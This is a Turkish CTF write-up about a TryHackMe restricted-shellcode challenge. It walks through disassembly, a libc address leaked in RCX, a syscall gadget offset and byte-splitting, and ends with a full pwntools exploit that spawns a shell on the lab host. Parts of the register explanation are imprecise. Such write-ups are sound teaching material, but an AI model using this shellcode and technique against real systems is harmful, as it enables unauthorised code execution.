TRYHACKME RED TEAM Syscall Yasak mı? O Zaman Ödünç Alalım!

Sosyal Medya

Güncel Makaleler

Yükleniyor...
Erciyes Uni.
Bilgisayar Muh.
CBFRPRO CBTEAMER CNPEN eMAPT
20 January 2026

Syscall Yasak mı? O Zaman Ödünç Alalım!

Giriş

Binary exploitation dünyasında shellcode yazmak başlı başına bir beceri gerektiriyor. Ancak işler gerçekten zorlaşmaya başlıyor ki belirli byte’ların yasaklandığı ortamlarda çalışmak zorundasınız. Bu yazıda, bir CTF challenge’ında karşılaştığım “restricted shellcode” problemini nasıl çözdüğümü adım adım anlatacağım. Öğreneceğiniz teknikler sadece CTF’lerde değil, gerçek dünya exploit geliştirme senaryolarında da karşınıza çıkacak.

Challenge Terminal Challenge’ın terminal ekran görüntüsü: “Send to void execution:” prompt’u


Binary Analizi

Her exploit geliştirme sürecinde olduğu gibi ilk adımımız hedef binary’yi tanımak oldu. checksec aracıyla güvenlik mekanizmalarını incelediğimde şu tabloyla karşılaştım:

Arch:       amd64-64-little
RELRO:      Full RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        PIE enabled
RUNPATH:    b'.'

Bu çıktı bize çok şey söylüyor. Full RELRO aktif olduğundan GOT overwrite saldırıları devre dışı. NX enabled olması stack veya heap üzerinde doğrudan shellcode çalıştıramayacağımız anlamına geliyor. PIE enabled ise her çalıştırmada binary’nin farklı bir adrese yükleneceğini gösteriyor. Ancak dikkat çeken bir detay var: stack canary yok. Bu durum klasik buffer overflow saldırılarına kapı aralıyor olabilir.

Checksec Output checksec çıktısı: binary’nin güvenlik mekanizmalarını gösteriyor


Programın Akışını Anlamak

objdump ile main fonksiyonunu disassemble ettiğimde programın ne yaptığı netleşti. İşte kritik kısımlar ve ne anlama geldikleri:

mov    $0xc0de0000,%eax
mov    %rax,%rdi
callq  mmap@plt

Program öncelikle 0xc0de0000 adresinde sabit bir bellek bölgesi oluşturuyor. Bu adres rastgele değil, kasıtlı olarak seçilmiş. mmap çağrısının parametrelerine baktığımızda PROT_READ, PROT_WRITE ve PROT_EXEC flag’lerinin hepsinin aktif olduğunu görüyoruz. Yani bu bölge hem okunabilir, hem yazılabilir, hem de çalıştırılabilir.

Ardından program bizden input alıyor:

mov    $0x64,%edx      ; 100 byte
mov    %rax,%rsi       ; buffer adresi
mov    $0x0,%edi       ; stdin
callq  read@plt

Tam 100 byte’a kadar input alabiliyor ve bunu az önce oluşturduğu 0xc0de0000 adresine yazıyor. Buraya kadar her şey normal bir shellcode execution challenge’ı gibi görünüyor.

Disassembly main fonksiyonunun disassembly çıktısı


Yasak Kontrol Mekanizması

İşte challenge’ın asıl zorluğu burada başlıyor. Program input’umuzu doğrudan çalıştırmadan önce “forbidden” adlı bir fonksiyondan geçiriyor:

callq  forbidden
test   %al,%al
je     main+0xa6
mov    $0x1,%edi
callq  exit@plt

Bu kontrol fonksiyonu eğer true dönerse program exit çağırıyor ve shellcode’umuz asla çalışmıyor. Peki forbidden fonksiyonu neyi kontrol ediyor?

Fonksiyonu analiz ettiğimde iki kritik kontrol buldum:

cmp    $0xf,%al       ; 0x0f byte'ı yasak mı?
jne    ...

cmp    $0xcd,%al      ; 0xcd byte'ı var mı?
...
cmp    $0x80,%al      ; hemen ardından 0x80 geliyor mu?

Birinci kontrol tek başına 0x0f byte’ını arıyor. İkinci kontrol ise 0xcd ve 0x80 byte’larının ardışık olup olmadığına bakıyor.

Bu yasakların ne anlama geldiğini anlamak için x86-64 instruction encoding bilgisine ihtiyacımız var:

syscall instruction’ı 0x0f 0x05 olarak encode ediliyor. Birinci yasak olan 0x0f byte’ı tam olarak bu yüzden konulmuş. Aynı şekilde int 0x80 instruction’ı da 0xcd 0x80 olarak encode ediliyor ve ikinci yasak bunu engelliyor.

Özetle: Linux’ta sistem çağrısı yapmanın bilinen iki yolu da engellenmiş durumda.

Forbidden Bytes Table Yasaklı byte’lar tablosu: syscall, int 0x80 ve sysenter instruction’ları engellenmiş


Bir Sorun Daha: mprotect Tuzağı

Sanki syscall yasakları yetmezmiş gibi bir sürpriz daha var. Forbidden kontrolünden hemen sonra şu kod çalışıyor:

mov    $0x4,%edx           ; PROT_READ only!
mov    $0x64,%esi
mov    %rax,%rdi
callq  mprotect@plt

Program shellcode’umuzu içeren bellek bölgesini PROT_READ (sadece okuma) moduna çeviriyor. Bu demek oluyor ki shellcode’umuz artık yazılabilir veya çalıştırılabilir değil.

İlk düşüncem self-modifying shellcode yazmaktı. Yani yasak byte’ları encode edip çalışma zamanında decode edecektim. Ancak mprotect çağrısı bu planı tamamen çökertti. Bellek artık yazılabilir olmadığından kendi kendini değiştiren kod çalışamaz.

Bir dakika. Eğer bellek çalıştırılabilir değilse program shellcode’umuzu nasıl çalıştıracak?

mov    -0x8(%rbp),%rdx
mov    $0x0,%eax
callq  *%rdx            ; shellcode'a jump!

İşte burada bir tutarsızlık var. Program mprotect ile execute iznini kaldırıyor ama sonra call *rdx ile oraya atlıyor. Test ettiğimde gördüm ki kod yine de çalışıyor. Bunun sebebi muhtemelen işletim sistemi veya CPU’nun bu durumu farklı handle etmesi olabilir. Her neyse, shellcode’umuz çalışıyor ama kendini değiştiremiyor.

Program Flowchart Program yürütme mantığı: mmap → read → forbidden check → mprotect → execute akışı


Çıkış Yolunu Aramak: Register Analizi

Klasik yöntemler elimden alındığına göre alternatif düşünmem gerekiyordu. Aklıma gelen fikir şuydu: eğer libc’de bir yerde syscall instruction’ı varsa ve o adrese atlayabilirsem, kendi shellcode’umda syscall yazmama gerek kalmaz.

Ama PIE aktif olduğundan adresleri bilmiyorum. Ya da biliyor muyum?

GDB ile shellcode’umuzun çalışmaya başladığı anı yakaladım ve register’ları inceledim:

rax    0x0
rbx    0x0
rcx    0x7ffff7eb18bb    ← Bu ilginç!
rdx    0xc0de0000
rsi    0x64
rdi    0xc0de0000

RCX register’ında 0x7ffff7 ile başlayan bir adres var. Bu adres aralığı tipik olarak libc’nin yüklendiği bölgeye denk geliyor. Peki bu değer nereden geldi?

Cevap basit: read sistem çağrısının dönüş değeri. x86-64 calling convention’a göre syscall’dan döndükten sonra bazı register’lar korunuyor ve RCX bunlardan biri. read() fonksiyonu libc üzerinden çağrıldığı için RCX’te libc içinden bir adres kalmış.

Register Dump Shellcode başlangıç anında register durumu: RCX’teki libc adresi altın değerinde!


Libc Offset Hesaplaması

Elimde libc içinden bir adres var. Şimdi bu adresi kullanarak syscall gadget’ına nasıl ulaşacağımı hesaplamam gerekiyor.

Önce libc’nin memory map’teki konumunu buldum:

0x7ffff7d93000     0x7ffff7dbb000    /root/void/libc.so.6

Libc base adresi: 0x7ffff7d93000

RCX’teki değer: 0x7ffff7eb18bb

RCX offset = 0x7ffff7eb18bb - 0x7ffff7d93000 = 0x11e8bb

Şimdi challenge’ın kendi libc’indeki syscall gadget’ını bulmam gerekiyor. Dikkat edin, sistem libc’si değil, challenge ile birlikte gelen ./libc.so.6 dosyasını kullanıyorum:

ROPgadget --binary ./libc.so.6 | grep ": syscall$"
0x0000000000029db4 : syscall

Syscall gadget offset: 0x29db4

Artık matematiği yapabilirim:

syscall_addr = libc_base + 0x29db4
             = (RCX - 0x11e8bb) + 0x29db4
             = RCX - (0x11e8bb - 0x29db4)
             = RCX - 0xf4b07

Yani shellcode’umda RCX’ten 0xf4b07 çıkarırsam, doğrudan libc’deki syscall instruction’ına ulaşırım.

Offset Calculation Offset hesaplaması: RCX noktasından syscall gadget’a nasıl ulaşılır

Memory Layout Bellek düzeni: stack, libc, binary ve shellcode buffer konumları


Son Engel: Immediate Değerdeki Yasak Byte

Exploit’i yazmaya başladığımda bir sorunla daha karşılaştım. Aşağıdaki instruction’a bakın:

sub rcx, 0xf4b07

Bu instruction’ın makine kodu: 48 81 e9 07 4b 0f 00

Immediate değerin içinde 0x0f var! Bu byte yasak olduğundan forbidden kontrolünden geçemeyecek.

Çözüm basit ama zarif: büyük sayıyı parçalara ayırmak.

0xf4b07 = 0x80000 + 0x74b07

Her iki parça da 0x0f içermiyor. Shellcode’da iki ayrı sub instruction’ı kullanarak aynı sonuca ulaşabilirim:

sub rcx, 0x80000
sub rcx, 0x74b07

Byte Split Solution Yasak byte problemi ve çözümü: 0xf4b07 değerini iki parçaya bölmek


Final Exploit

Tüm parçaları bir araya getirdiğimde ortaya çıkan shellcode şu şekilde:

#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'

HOST = '10.66.132.109'
PORT = 9008

shellcode = asm('''
    /* execve("/bin/sh", NULL, NULL) için hazırlık */
    xor esi, esi        /* rsi = 0 (argv = NULL) */
    xor edx, edx        /* rdx = 0 (envp = NULL) */
    
    /* "/bin/sh" stringini stack'e yaz */
    xor eax, eax
    push rax            /* null terminator */
    mov rax, 0x68732f6e69622f   /* "/bin/sh" little-endian */
    push rax
    mov rdi, rsp        /* rdi = "/bin/sh" adresi */
    
    /* execve syscall numarası = 59 = 0x3b */
    xor eax, eax
    mov al, 0x3b
    
    /* RCX'ten syscall gadget adresini hesapla */
    /* 0xf4b07'yi 0x0f içermeyecek şekilde parçala */
    sub rcx, 0x80000
    sub rcx, 0x74b07
    
    /* libc'deki syscall gadget'a atla */
    jmp rcx
''')

p = remote(HOST, PORT)
p.sendlineafter(b':', shellcode)
p.interactive()

Shellcode’un yaptığı işlemleri adım adım açıklayayım:

Birinci bölümde register’ları sıfırlıyorum. ESI ve EDX’i XOR ile temizlemek hem null byte üretmiyor hem de kısa instruction’lar kullanmamı sağlıyor. execve sistem çağrısı için argv ve envp parametrelerinin NULL olması yeterli.

İkinci bölümde “/bin/sh” stringini stack’e yazıyorum. Önce null terminator için sıfır push ediyorum, sonra stringin kendisini little-endian formatında yazıyorum. mov rdi, rsp ile string’in adresini RDI’a alıyorum çünkü execve’nin birinci parametresi çalıştırılacak programın yolu.

Üçüncü bölümde syscall numarasını ayarlıyorum. execve’nin syscall numarası 59 yani 0x3b. Bunu doğrudan mov al, 0x3b ile yazabiliyorum çünkü 0x3b yasak byte’lar arasında değil.

Son bölümde büyü gerçekleşiyor. RCX’ten hesapladığım offset’i çıkararak libc’deki syscall instruction’ının adresine ulaşıyorum. jmp rcx ile oraya atlıyorum ve execve sistem çağrısı gerçekleşiyor.

Shellcode Anatomy Shellcode anatomisi: her bölümün ne yaptığının detaylı açıklaması

Attack Chain Exploit zinciri: input’tan shell’e kadar olan yolculuk


Teknik Özet

Bu challenge’da kullandığım teknik literatürde “ret2libc via register leak” veya “reusing libc gadgets” olarak geçiyor. Klasik ret2libc saldırılarından farkı, stack üzerinde ROP chain oluşturmak yerine mevcut register değerlerini kullanmam.

Karşılaştığım engeller ve çözümleri:

İlk engel syscall ve int 0x80 instruction’larının yasaklanmasıydı. Çözüm olarak bu instruction’ları kendi shellcode’uma yazmak yerine libc’de zaten var olanı kullandım.

İkinci engel ASLR nedeniyle libc adresini bilmememdi. Çözüm olarak read() sistem çağrısından kalan RCX register değerini kullandım.

Üçüncü engel mprotect ile belleğin read-only yapılmasıydı. Bu durum self-modifying shellcode seçeneğini ortadan kaldırdı ama libc gadget yaklaşımını etkilemedi.

Dördüncü engel offset hesaplamasındaki 0x0f byte’ıydı. Çözüm olarak büyük sayıyı yasak byte içermeyen parçalara ayırdım.


Öğrenilen Dersler

Bu challenge bana birkaç önemli şey öğretti. Birincisi, bir yol kapandığında başka yollar aramak gerekiyor. syscall yazamıyorsam başkasının yazdığı syscall’ı kullanabilirim.

İkincisi, register değerleri altın değerinde olabilir. Program akışı sırasında register’larda kalan değerler bazen exploit için kritik bilgiler içeriyor.

Üçüncüsü, immediate değerler de dikkatli seçilmeli. Yasak byte’lar sadece instruction opcode’larında değil, operand’larda da sorun çıkarabiliyor.

Son olarak, binary’nin yanında gelen kütüphanelere dikkat etmek gerekiyor. Bu challenge kendi libc’sini getiriyordu ve offset’ler sistem libc’sinden farklıydı.


Kaynaklar ve İleri Okuma

Bu konuda derinleşmek isteyenler için önerdiğim kaynaklar:

Phrack Magazine’deki “Writing IA32 Alphanumeric Shellcodes” makalesi restricted shellcode konusunun temel taşı sayılır.

USENIX WOOT 2020’de yayınlanan “Automatic Generation of Compact Printable Shellcodes” makalesi encoding tekniklerini derinlemesine inceliyor.

Columbia Üniversitesi’nden “On the Infeasibility of Modeling Polymorphic Shellcode” makalesi self-modifying kod tekniklerini akademik perspektiften ele alıyor.

Paylaş

Yorumlar

🔔
Yeni yazılardan haberdar ol! Bildirim al, hiçbir yazıyı kaçırma.